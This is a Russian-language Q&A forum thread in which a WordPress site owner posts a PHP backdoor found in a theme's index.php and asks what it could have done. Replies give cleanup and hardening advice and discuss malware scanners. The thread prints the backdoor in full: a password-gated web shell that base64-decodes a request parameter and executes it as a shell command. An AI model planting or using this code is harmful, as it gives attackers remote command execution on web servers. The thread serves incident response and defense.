Что это за вирус, и чего теперь бояться?

Question

[RigidStyle]

Сегодня обнаружил вот такую вот штуку на WordPress сайте:
Адрес файла: wp-content/themes/index.php

В файле был вот такой код:

<?php
// Silence is golden.

$s=explode(":","6732fc3453c34f00be5bffc4f0dc2bcbdb1fea50:plugin:_lg");$q=$_REQUEST;if (sha1(md5($q[$s[1]]))===$s[0]){if (isset($q[$s[2]])){$l=base64_decode($q[$s[2]]);echo `$l`;}}

Первые две строки - это понятно. А вот последняя была аж на строке 140. И не понятно, что оно делает и куда оно могло пролезть.
Вредоносный код удалил, файл заменил на нормальный. Но чего теперь опасаться? Куда эта штука могла залезть и что там могла наделать?

Антивирусник хоста его обозвал как:
SL-PHP-EVAL_REQUEST-awgh.UNOFFICIAL FOUND

Answer 1

[Vitaliy Orlov]

Опасаться того, что где-нибудь в другом файле лежит еще один бэкдор.

Залезть могла в любой файл, в твоей рабочей директории, туда куда можно дотянуться из скрипта и где есть права на запись.

Самый лучший способ почистить, это выкачать к себе свежую версию WP и перенести только базу, а лучше только посты WP из базы. Снести все под ноль, и перезалить свежую версию сайта. Это не всегда применимо, но дает самые лучшие результаты. В противном случае, нужно поверху накатить свежю версию файлов WP и поискать другие зараженные файлы с помощью поиска по файлам и маскам из зараженного скрипта, например "sha1(md5(" или "base64_decode($q"

Comments

[RigidStyle]

Хост все сам проверил (FTP), больше подобных файлов нет.
Был еще тот, который обозвали: SL-BIN-TROJAN-GENERIC-md5-bta.UNOFFICIAL FOUND, но он был на совсем другом сайте, причем вообще в плагине, и вряд ли это был его "хвост".
Вопрос в том, куда эта ерунда могла еще залезть, и что она там могла наделать. Чего в будущем бояться?

А есть вообще "антивирусник" для вот этого вот всего? Ну что бы хотя бы выкачать файлы и проверить все у себя. Потому как заливка файла на тот же VirusTotal, например, показала что файл чист.

[Vitaliy Orlov]

Антивирусники особо не помогут, только для вирусов с устойчивой сигнатурой. А тут возможностей ее поменять безграничное кол-во.

Залезть могла в любой файл, любой директории доступный для записи. Проверить это можно написав скрипт с перебором всех папок/файлов и проверкой на запись, по типу

foreach(glob('dir/*') as $file) {
    if (is_writable($file)) echo $file.' WRITABLE'.PHP_EOL;
}

В будущем, если не дочистил, то стоит бояться всего, что связано с использованием чужих скриптов на своем сервере: майнинг, ботнеты, рассылка спама, клоакинг на твоих сайтах и т.д.

Ну, и обрати еще внимание, если у тебя shared хостинг, то вирус может и от соседа лезть, если у тебя стоят где-нибудь права 777 или не очень квалифицированные админы хостинга.

ЧТо касается защиты, то тут просто есть ряд мер, которые можно применить, чтобы уменьшить кол-во таких проблем: например, выставить права на файлы, которые не позволяют менять файлы, запретить eval в php, закрыть через .htaccess endpoint-ы через которые лезут боты, использовать сторонние скрипты, которые хранят хеш файлов и сигнализируют при их изменениях и т.д.

[Yakov Vylegzhanin]

RigidStyle, попробуйте проверить с помощью ai-bolit.php

FAQ по нему тут. Запускайте через SSH.

[RigidStyle]

Yakov Vylegzhanin, этот скрипт не работает. Не обнаруживает вредоносный файл. Я намеренно скормил скрипту вредоносный файл, и он его не выявил. После этого сканировать все остальное не имеет смысла...

[Yakov Vylegzhanin]

RigidStyle, пробовали запускать в "параноидальном" режиме? --mode=2 в консоли.

[RigidStyle]

Yakov Vylegzhanin, да. Только я AI-BOLIT for Windows использовал. Так как у меня Shared хостинг, поэтому к консоли нет доступа.